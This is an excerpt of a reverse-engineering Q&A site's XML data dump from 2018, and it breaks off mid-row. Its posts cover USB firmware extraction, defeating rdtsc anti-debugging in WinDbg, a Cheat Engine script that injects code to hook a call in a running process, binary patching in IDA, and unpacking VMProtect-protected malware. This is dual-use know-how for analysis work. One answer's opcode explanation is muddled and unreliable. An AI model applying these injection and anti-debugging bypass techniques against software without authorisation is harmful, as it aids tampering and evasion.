  <row Id="17587" PostTypeId="1" CreationDate="2018-03-03T15:31:26.720" Score="2" ViewCount="14095" Body="&lt;p&gt;I am breaking my head the last few days over how you should extract the firmware from a USB device I searched all over the internet but I could not find a straight forward way to do it.&#xA;Just to clarify I am trying to do this over the USB connection it self but if this isn't possible then that is just fine.&#xA;I found some things about flashrom online but I don't really understand how it works and I don't know if it is capable of flashing / reading USB firmware ( I mean USB sticks and other peripherals)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be very much appreciated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="23479" LastActivityDate="2018-04-12T11:51:00.927" Title="Extract firmware from a usb device like for example a USB stick" Tags="|firmware|usb|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17588" PostTypeId="2" ParentId="17555" CreationDate="2018-03-03T16:31:26.510" Score="4" Body="&lt;pre&gt;&lt;code&gt;add byte [eax], al &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This instruction is falsly and accidentally blind-translated by disassemblers that don't distinguish between stored buffer/void spans and code segs, to explain what happens here you can refer to &lt;a href=&quot;https://www-user.tu-chemnitz.de/~heha/viewchm.php/hs/x86.chm/x86.htm#9.2&quot; rel=&quot;nofollow noreferrer&quot;&gt;this blog section&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ADD&lt;/code&gt; has an opcode equal to &lt;code&gt;0000(h)&lt;/code&gt;=&lt;code&gt;00000000 0000 0000(2)&lt;/code&gt; where the two last flagbits {d,s} of the command opcode are not set which indicates an addition from a register to an R/M field, &lt;code&gt;s&lt;/code&gt; stands for size of transfer that is 8 bites = 2bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second operand denotes an addition of reg value to local address in EAX, in 32 bits intel ASM, it is encoded &lt;code&gt;00(h)&lt;/code&gt; for the reg &lt;code&gt;AL&lt;/code&gt;, I don't know about 86/64x architectures but i guess it's same. Thus you see, mere coincidence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Void spans are also a case where the program reserves extraspace to store imported DLL functions' entrypoints for locally invoked labels, local constants/strings, or between chunks of any forms of dispersed data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These types of 0' spans can be frequently remarked in &lt;a href=&quot;https://en.wikipedia.org/wiki/Polymorphic_code&quot; rel=&quot;nofollow noreferrer&quot;&gt;polymophic programs&lt;/a&gt; that dump themselves differently in RAM after each execution instance, where they often change their relative EP's and function call addresses in an evasive way against unpackers and any form of code tracking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A very strong guess that this stream of padded DATA either stored for cache purpose or steganographed should be preceded by a &lt;code&gt;JMP&lt;/code&gt; instruction &lt;code&gt;CALL&lt;/code&gt; or &lt;code&gt;RET&lt;/code&gt;, otherwise, there must be a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See here an example of some debuggers/decompilers that recognize padded DB's and skip over them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Zx59g.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zx59g.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12383" LastEditorUserId="12383" LastEditDate="2018-03-04T21:33:40.350" LastActivityDate="2018-03-04T21:33:40.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17589" PostTypeId="2" ParentId="17586" CreationDate="2018-03-03T19:04:59.643" Score="2" Body="&lt;p&gt;there are a few fake rdtsc drivers floating around     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or if you have windbg attached in kernel mode you can toggle cr4.TSD bit and catch the exception  iirc there is a script floating for that too but a fleeting google didn't land me that now  ill link it later &lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit &lt;strong&gt;&lt;a href=&quot;https://github.com/vallejocc/Reverse-Engineering-Arsenal/blob/master/WinDbg/anti_antidebug_rdtsc.wdbg&quot; rel=&quot;nofollow noreferrer&quot;&gt;anti rdtsc windbg script by vallejocc&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a small demo &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; r cr4&#xA;cr4=00000699&#xA;&#xA;kd&amp;gt; r cr4 = 69d&#xA;kd&amp;gt; r cr4    &#xA;cr4=0000069d&#xA;kd&amp;gt; g    &#xA;&#xA; *** Unhandled exception **0xc0000096**, hit in C:\Windows\system32\svchost.exe -k netsvcs:&#xA;&#xA; *** enter .exr 03C0F78C for the exception record&#xA; ***  enter .cxr 03C0F7A0 for the context&#xA; *** then kb to get the faulting stack&#xA;&#xA;Break instruction exception - code 80000003 (first chance)&#xA;ntdll!RtlUnhandledExceptionFilter2+0x2ab:&#xA;001b:7743d10d cc              int     3&#xA;&#xA;kd&amp;gt; .exr 03C0F78C&#xA;ExceptionAddress: 6dbb1358&#xA;   ExceptionCode: c0000096&#xA;  ExceptionFlags: 00000000&#xA;NumberParameters: 0&#xA;&#xA;kd&amp;gt; .cxr 03C0F7A0&#xA;eax=1d218944 ebx=00000000 ecx=1ee17334 edx=0000021a esi=042708e0 edi=00000000&#xA;eip=6dbb1358 esp=03c0fa84 ebp=03c0fb08 iopl=0         nv up ei pl zr na pe nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246&#xA;001b:6dbb1358 0f31            rdtsc  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;kd&amp;gt; kb&#xA;  *** Stack trace for last set context - .thread/.cxr resets it&#xA; # ChildEBP RetAddr  Args to Child              &#xA;WARNING: Frame IP not in any known module. Following frames may be wrong.&#xA;00 03c0fb08 6dbb150f 04270808 002767b0 03c0fb3c 0x6dbb1358&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-03-04T07:25:49.413" LastActivityDate="2018-03-04T07:25:49.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17590" PostTypeId="1" CreationDate="2018-03-03T19:06:44.177" Score="2" ViewCount="1712" Body="&lt;p&gt;I'm reversing some software and found the function which decrypts some stuff:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kdL9v.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kdL9v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see it has the password parameter for it which gets decrypted in this function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Function disassembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub_401350      proc near               ; CODE XREF: sub_4013F0+28Ep&#xA;                                        ; sub_4013F0+2D2p&#xA;&#xA;var_4           = dword ptr -4&#xA;arg_0           = dword ptr  8&#xA;arg_4           = dword ptr  0Ch&#xA;arg_8           = dword ptr  10h&#xA;arg_C           = dword ptr  14h&#xA;arg_10          = byte ptr  18h&#xA;&#xA;                push    ebp&#xA;                mov     ebp, esp&#xA;                push    ecx&#xA;                mov     [ebp+var_4], 0&#xA;                jmp     short loc_401366&#xA;loc_40135D:                             ; CODE XREF: sub_401350+46j&#xA;                mov     eax, [ebp+var_4]&#xA;                add     eax, 1&#xA;                mov     [ebp+var_4], eax&#xA;&#xA;loc_401366:                             ; CODE XREF: sub_401350+Bj&#xA;                mov     ecx, [ebp+var_4]&#xA;                cmp     ecx, [ebp+arg_4]&#xA;                jnb     short loc_401398&#xA;                mov     edx, [ebp+arg_0]&#xA;                add     edx, [ebp+var_4]&#xA;                movsx   ecx, byte ptr [edx]&#xA;                mov     eax, [ebp+var_4]&#xA;                xor     edx, edx&#xA;                div     [ebp+arg_C]&#xA;                mov     eax, [ebp+arg_8]&#xA;                movsx   edx, byte ptr [eax+edx]&#xA;                movzx   eax, [ebp+arg_10]&#xA;                add     edx, eax&#xA;                xor     ecx, edx&#xA;                mov     edx, [ebp+arg_0]&#xA;                add     edx, [ebp+var_4]&#xA;                mov     [edx], cl&#xA;                jmp     short loc_40135D&#xA;.text:00401398&#xA;loc_401398:                             ; CODE XREF: sub_401350+1Cj&#xA;                mov     esp, ebp&#xA;                pop     ebp&#xA;                retn    14h&#xA;sub_401350      endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This function is called in some other places too. My goal is to call this function with some other parameters to decrypt other stuff and see the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this? how can I call this function with some other parameters using python or any other way? thanks.&lt;/p&gt;&#xA;" OwnerUserId="21456" LastEditorUserId="60" LastEditDate="2018-03-03T21:11:50.910" LastActivityDate="2018-03-04T09:32:06.450" Title="IDA: call a function with different arguments" Tags="|ida|disassembly|decryption|python|functions|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17592" PostTypeId="2" ParentId="17590" CreationDate="2018-03-03T22:36:06.630" Score="1" Body="&lt;p&gt;A bit unorthodox, but I personally tend to use &lt;a href=&quot;https://github.com/cheat-engine/cheat-engine&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cheat Engine&lt;/a&gt; for something &quot;quick 'n dirty&quot; like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic idea is you'd hook that &lt;code&gt;call&lt;/code&gt;, jump to allocated memory which contains instructions you write to move the data you want into any registers/memory that should be passed to the callee, then trace the call to see the results. If the function is shared and is executing at times beyond your control, you could simply use a &lt;code&gt;cmp&lt;/code&gt; instruction in your code injection to have your code run only when a certain condition is met.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of what your injection might look like is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//--Allocate memory page in address space of application&#xA;alloc(newmem,2048,&quot;application.exe&quot;+40167E)&#xA;&#xA;//--Create labels for your code&#xA;label(returnhere)&#xA;label(originalcode)&#xA;label(exit)&#xA;&#xA;//--This is where your custom code would go&#xA;newmem:&#xA;//Maybe pop unwanted values off stack&#xA;//Then push your custom values onto stack&#xA;&#xA;//--This is the CALL you hooked which will now run&#xA;originalcode:&#xA;call sub_401350&#xA;&#xA;//--Jump to exit code injection&#xA;exit:&#xA;jmp returnhere&#xA;&#xA;//--This hooks the CALL and injects a jump to your allocated memory&#xA;&quot;application.exe&quot;+40167E:&#xA;jmp newmem&#xA;&#xA;//--Exit label jumps here, returning you to normal execution&#xA;returnhere:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=9iYyC8kgzUY&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's a video&lt;/a&gt; that demonstrates roughly what it looks like to do this type of injection via Cheat Engine.&lt;/p&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2018-03-03T22:36:06.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17593" PostTypeId="1" AcceptedAnswerId="17630" CreationDate="2018-03-04T09:06:47.800" Score="6" ViewCount="10139" Body="&lt;p&gt;I always write ad-hoc code to get the values passed to function calls, like finding the XRef to a function and then tracking back disassembly to find some specific MOV or PUSH instruction. For example, in the following example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:080488B1                 push    [ebp+gid]&#xA;.text:080488B4                 push    [ebp+gid]       ; gid&#xA;.text:080488B7                 call    setregid&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would find the XRefs to setregid and then find &quot;push instructions&quot;. Or, in the next example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LOAD:FFFFFFFF824047A4                 mov     rdi, exec_map&#xA;LOAD:FFFFFFFF824047AC                 mov     esi, 40400h&#xA;LOAD:FFFFFFFF824047B1                 call    kmem_alloc_wait&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would find the XRef to kmem_alloc_wait and then find before that call the values set to the registers RDI, RSI, RDX, RCX... And for each new processor, I would have to re-write again my code to handle the specific calling convention(s) of that CPU or VM. However, I'm sure there must be some proper way of getting the argument values to function calls, from IDAPython, in a CPU agnostic way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, do you know any way of getting the values passed to a function call from IDAPython that doesn't rely on parsing disassembly?&lt;/p&gt;&#xA;" OwnerUserId="111" LastEditorUserId="111" LastEditDate="2018-03-04T09:15:21.423" LastActivityDate="2018-03-07T18:11:30.143" Title="IDAPython: How to get function argument values" Tags="|ida|idapython|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17594" PostTypeId="2" ParentId="17590" CreationDate="2018-03-04T09:32:06.450" Score="1" Body="&lt;p&gt;I think the classic way to go about it is to recreate the decoding algorithm after reversing it and then you can test it with any string that you want. A hacky way to do it is to break before the function call and manually change my_password to the string that you wanted to test with. A more automated solution is the Binary Ninja plugin &lt;a href=&quot;https://github.com/pbiernat/ripr&quot; rel=&quot;nofollow noreferrer&quot;&gt;ripr&lt;/a&gt;. From its github page: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ripr attempts to automatically generate a python class that is functionally identical to a selected piece of code by statically gathering sufficient information and wrapping it all into a &quot;harness&quot; for the unicorn emulator&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18722" LastActivityDate="2018-03-04T09:32:06.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17595" PostTypeId="1" CreationDate="2018-03-04T10:16:58.307" Score="0" ViewCount="969" Body="&lt;p&gt;I am VERY new to reverse engineering but I find it fascinating.&#xA;I want to change the following code:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cmp     [ebp+arg_0], 2  &#xA;jnz     short loc_41143B  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to change the &lt;code&gt;2&lt;/code&gt; to any other number, but when I try to change it to a &lt;code&gt;3&lt;/code&gt; IDA says invalid operand size(s) when I use the edit assembly feature in IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why doesn't it accept say &quot;cmp     [ebp+arg_0], 3&quot; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The source code says:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main(int argc, char *argv[]) {&#xA;volatile int a = 0x0a;&#xA;volatile int b = 0x27;&#xA;volatile int c = 0x3b;&#xA;volatile int d = 0x63;&#xA;if (argc == 2) {&#xA;    a ^= 0x42;&#xA;    b ^= 0x42;&#xA;    c ^= 0x42;&#xA;    d ^= 0x42;&#xA;    printf(&quot;%c%c%c%c\n&quot;, a, b, c, d);&#xA;}&#xA;return 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="23488" LastEditorUserId="23488" LastEditDate="2018-03-04T18:00:47.653" LastActivityDate="2018-03-05T16:47:56.673" Title="IDA: How did you try to change it?" Tags="|ida|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17596" PostTypeId="2" ParentId="17584" CreationDate="2018-03-04T15:54:13.420" Score="2" Body="&lt;p&gt;I've checked version v3 and yes, it does not work with such instruction and it does work in v4. There are few &lt;a href=&quot;https://www.hopperapp.com/bugtracker/index.php?project=1&amp;amp;do=index&quot; rel=&quot;nofollow noreferrer&quot;&gt;bug reports&lt;/a&gt; that might be related to such issues.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;FS#155&lt;/li&gt;&#xA;&lt;li&gt;FS#162&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I couldn't find if there is any workaround for this apart from installing a latest one.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-03-04T15:54:13.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17600" PostTypeId="2" ParentId="17595" CreationDate="2018-03-04T18:22:46.800" Score="1" Body="&lt;p&gt;So you don't use change assembly, you use change bytes in the IDA edit menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you want to go from 2 to 3 you change the bytes:&#xA;Original:&lt;br&gt;&#xA;83 7D 08 02 75 4B 8B 45 F8 83 F0 42 89 45 F8 8B&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changed:&lt;br&gt;&#xA;83 7D 08 03 75 4B 8B 45 F8 83 F0 42 89 45 F8 8B&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you want to change the argc == 2 to say argc &gt; 2 then this changes:&lt;br&gt;&#xA;jnz     short loc_41143B to jle     short loc_41143B&lt;/p&gt;&#xA;" OwnerUserId="23488" LastEditorUserId="23488" LastEditDate="2018-03-05T16:47:56.673" LastActivityDate="2018-03-05T16:47:56.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17601" PostTypeId="1" CreationDate="2018-03-04T18:48:26.703" Score="8" ViewCount="5931" Body="&lt;p&gt;I am looking to reverse engineer an 8051 firmware binary file and am not certain where to start. The firmware is for the Real RTL8188EE wireless card. It is located here: &lt;a href=&quot;https://github.com/lwfinger/rtlwifi_new/tree/master/firmware/rtlwifi&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/lwfinger/rtlwifi_new/tree/master/firmware/rtlwifi&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know (think?) it is 8051 because there are several references throughout the Linux code of this chip. I have identified from the Linux code that the header portion is the first 32-bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go about disassembling it? I have run it through IdaPro with the offset of 0x20 (The 32 bit header), but I get a lot of NOPs and then binary junk at the end that Ida seems to properly interpret the instructions. I ran it through  and an obscure disassembly tool I found online called d52v336, so I deleted the first 32 bytes. It began with a lot of NOPs and series of ORGs. I put the printout here (&lt;a href=&quot;https://pastebin.com/1M11wXiF&quot; rel=&quot;noreferrer&quot;&gt;https://pastebin.com/1M11wXiF&lt;/a&gt;). The first bit of code seems to begin with a 'reti' and 'lcall X4204'. When I look up X4202, it is 'X4204   equ     4204h', which confuses me. Perhaps this is the beginning of the code, but I am not certain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I know if my offset is off? Is this the real beginning of the code? If so, what do I do with that lcall? Confused!&lt;/p&gt;&#xA;" OwnerUserId="17826" LastEditorUserId="30088" LastEditDate="2020-01-15T15:17:56.933" LastActivityDate="2022-06-04T17:42:06.347" Title="Reverse Engineering 8051 firmware" Tags="|disassembly|firmware|8051|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17602" PostTypeId="2" ParentId="17601" CreationDate="2018-03-04T19:53:24.227" Score="2" Body="&lt;p&gt;radare2 supports 8051 if you think it is 8051  your link points to a directory &lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is no ee file  there is an efw file i ran it in radare2 and it seems to be &#xA;disassembling it &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;radare2 -AA -a 8051 firmware.bin&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; px 16&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x00000000  e188 1000 0800 0000 1025 2156 b02b 0000  .........%!V.+..&#xA;[0x00000000]&amp;gt; pd 1&#xA;            ;-- b:&#xA;            ;-- r4:&#xA;            ;-- r5:&#xA;            ;-- psw:&#xA;            ;-- r7:&#xA;/ (fcn) fcn.00000000 14&#xA;|   fcn.00000000 ();&#xA;\       ,=&amp;lt; 0x00000000  ~   e188           ajmp loc.00000788&#xA;[0x00000000]&amp;gt; s 0x788&#xA;[0x00000788]&amp;gt; pd 5&#xA;|- loc.00000788 9&#xA;|   loc.00000788 ();&#xA;|       |      ; JMP XREF from 0x00000000 (fcn.00000000)&#xA;|       |      ; JMP XREF from 0x00000782 (loc.00000788)&#xA;|       |      ; CALL XREF from 0x0000077a (loc.00000788)&#xA;|       `=&amp;lt; 0x00000788      80f0           sjmp loc.0000077a&#xA;            0x0000078a      e0             movx a, @dptr&#xA;/ (fcn) fcn.0000078b 27&#xA;|   fcn.0000078b ();&#xA;|              ; UNKNOWN XREF from 0x000006db (fcn.0000061c + 191)&#xA;|              ; CALL XREF from 0x000006db (fcn.0000061c + 191)&#xA;|           0x0000078b      75f003         mov b, #0x03                ; [0x100f0:1]=255&#xA;|           0x0000078e      a4             mul ab&#xA;|           0x0000078f      24fe           add a, #0xfe&#xA;[0x00000788]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-03-04T20:30:47.563" LastActivityDate="2018-03-04T20:30:47.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17603" PostTypeId="2" ParentId="13056" CreationDate="2018-03-04T21:28:52.787" Score="1" Body="&lt;p&gt;&lt;code&gt;StrongOD&lt;/code&gt; can have unexpected behaviour if you are using Win7 as your debugging environment. Try to use &lt;code&gt;ScyllaHide&lt;/code&gt; plugin with the &lt;code&gt;VMProtect&lt;/code&gt; profile on, ignore &lt;code&gt;Invalid or privileged instruction&lt;/code&gt; exception in the debugging options.&lt;/p&gt;&#xA;" OwnerUserId="20848" LastActivityDate="2018-03-04T21:28:52.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17604" PostTypeId="1" AcceptedAnswerId="17642" CreationDate="2018-03-04T21:58:49.510" Score="4" ViewCount="20451" Body="&lt;p&gt;I've been trying to reverse engineer a malware that has been packed with &lt;code&gt;VMProtect v3.0&lt;/code&gt;. My first instinct was to google an automated way for this and I found a script. Unfortunately the script to unpack &lt;code&gt;VMProtect&lt;/code&gt; protected binary does not work with version 3.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I've seen that the packer changes the access rights of the sections to be writable, decrypts the original code and writes the code to the sections then changes the access rights for those sections back to their initial values. I saw that by putting breakpoint on the &lt;code&gt;VirtualProtect&lt;/code&gt; API. After the final call to &lt;code&gt;VirtualProtect&lt;/code&gt; I put the access breakpoint on the sections that had &lt;code&gt;executable&lt;/code&gt; right and when my breakpoint was hit I expected it to be the &lt;code&gt;OEP&lt;/code&gt; but when I dumped the process it did not run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my research I understand that you need to rebuild the &lt;code&gt;IAT&lt;/code&gt; and tools like &lt;code&gt;UIF&lt;/code&gt; &amp;amp; &lt;code&gt;Scylla&lt;/code&gt; won't be any help. Can you give me some tips on how to find the &lt;code&gt;OEP&lt;/code&gt; or how to deal with this kind of packing mechanism in general?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. This is the first time I am dealing with &lt;code&gt;VMProtect&lt;/code&gt; protected malware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sha256 Hash: &lt;code&gt;8200755cbedd6f15eecd8207eba534709a01957b172d7a051b9cc4769ddbf233&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="20848" LastEditorUserId="2147" LastEditDate="2018-09-24T22:33:51.693" LastActivityDate="2018-09-24T22:33:51.693" Title="Finding OEP in a VMProtect v3.0 protected malware" Tags="|malware|unpacking|anti-debugging|anti-dumping|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17606" PostTypeId="1" CreationDate="2018-03-05T00:40:02.553" Score="1" ViewCount="2445" Body="&lt;p&gt;I was wondering if you could get the dll saved into your hard drive from the respective .dmp file. Also if not, is it possible to fully get the asm code from the same .dmp file in addition to it .data/.text sections bin file? By getting the asm code I mean just like you would get if you'd open an unpacked .exe in IDA(So you'd be able to reconstruct functions into c code etc)&lt;/p&gt;&#xA;" OwnerUserId="23494" LastActivityDate="2018-03-05T19:34:51.133" Title="Get original .dll file from .dmp?" Tags="|assembly|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17607" PostTypeId="2" ParentId="17606" CreationDate="2018-03-05T09:29:13.910" Score="1" Body="&lt;p&gt;Yes it's possible, but there's no automation of this process. Technically it's similar to the process of unpacking: you get the memory dump of the executable(in you case you need to extract dll from the memory dump), adjust PE header, so that the sections match the offsets in the dump, set OEP if needed, recover import section, recover the relocations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want to disasm the dll, and not going to reuse the binary, then you may just open dmp file in IDA and find it there among the modules. IDA allows you to disassemble it right in the dump, though you won't be able to apply signatures. And the imports will not be shown, since dmp is a mix of all modules of the process.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-03-05T09:29:13.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17608" PostTypeId="1" AcceptedAnswerId="18307" CreationDate="2018-03-05T11:01:26.940" Score="0" ViewCount="467" Body="&lt;p&gt;Some symbols (from symbol table) in ELF-file belong to special sections (&lt;em&gt;COMMON&lt;/em&gt;, &lt;em&gt;ABS&lt;/em&gt;, &lt;em&gt;UNDEF&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA creates virtual sections for this symbols.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Subject&lt;/strong&gt;: What is the rule (or set of rules) which IDA use to create these special sections (start address, size, alignment)?&lt;/p&gt;&#xA;" OwnerUserId="22987" LastActivityDate="2018-06-17T10:09:40.800" Title="How does IDA create COMMON, ABS and EXTERN segments of ELF-file?" Tags="|ida|elf|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17609" PostTypeId="2" ParentId="8851" CreationDate="2018-03-05T18:50:35.870" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/Tyilo/macho_edit&quot; rel=&quot;nofollow noreferrer&quot;&gt;This tool&lt;/a&gt; claims it can move and remove load commands. Might be worth a look.&lt;/p&gt;&#xA;" OwnerUserId="23503" LastActivityDate="2018-03-05T18:50:35.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17610" PostTypeId="2" ParentId="17606" CreationDate="2018-03-05T19:34:51.133" Score="2" Body="&lt;p&gt;not sure what is respective dump file if you have a .dmp (full kernel memory dump ) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and you have loaded it in windbg you can use .writemem command to write back the pages back &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a sample &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; lm m null&#xA;Browse full module list&#xA;start    end        module name&#xA;fcad2000 fcad2b80   Null       (pdb symbols)          e:\symbols\null.pdb\77840F8CB3624E438D5D2F0913E4D30E1\null.pdb&#xA;kd&amp;gt; r cr3&#xA;cr3=00039000&#xA;kd&amp;gt; ?? @$proc-&amp;gt;Pcb.DirectoryTableBase&#xA;unsigned long [2] 0x81291848&#xA;0x39000&#xA;kd&amp;gt; .writemem c:\null.bin fcad2000 L?(fcad2b80-fcad2000)&#xA;Writing b80 bytes..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-03-05T19:34:51.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17611" PostTypeId="1" AcceptedAnswerId="17633" CreationDate="2018-03-05T19:36:45.563" Score="-1" ViewCount="1561" Body="&lt;p&gt;I've be on with the application for a while now and have pinpointed some interested functions, I would like to be able to implement them in to another application but I'm not sure how to get them &quot;out&quot; of IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was going to try and copy the ASM code and use that, then I found how to decompile it into some Pseudo readable Code, but I can't get it to compile again as I don't have enough experience with C.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code it generated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __usercall sub_10001000@&amp;lt;eax&amp;gt;(unsigned int a1@&amp;lt;eax&amp;gt;, int a2@&amp;lt;ecx&amp;gt;)&#xA;    {&#xA;      unsigned __int16 v2; // dx@1&#xA;      unsigned int v3; // eax@1&#xA;&#xA;      v2 = (unsigned __int8)a1;&#xA;      v3 = a1 &amp;gt;&amp;gt; 8;&#xA;&#xA;      return *(_DWORD *)(a2 + 4 * v2 + 3144)&#xA;      + (*(_DWORD *)(a2 + 4 * (unsigned __int8)v3 + 2120) ^ (*(_DWORD *)(a2 &#xA;      + 4 * BYTE1(v3) + 1096) + *(_DWORD *)(a2 + 4 * ((unsigned __int16)(v3 &#xA;      &amp;gt;&amp;gt; 8) &amp;gt;&amp;gt; 8) + 72)));&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd like to understand what this code does and to hopefully recreate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would anyone be so kind as to write out a function what performs the same task ?&lt;/p&gt;&#xA;" OwnerUserId="23513" LastEditorUserId="23513" LastEditDate="2018-03-06T10:47:05.547" LastActivityDate="2018-06-26T13:08:28.123" Title="help needed to understand this pseudo code from ida and possibly recreate it" Tags="|ida|c|" AnswerCount="1" CommentCount="4" ContentLicense="CC 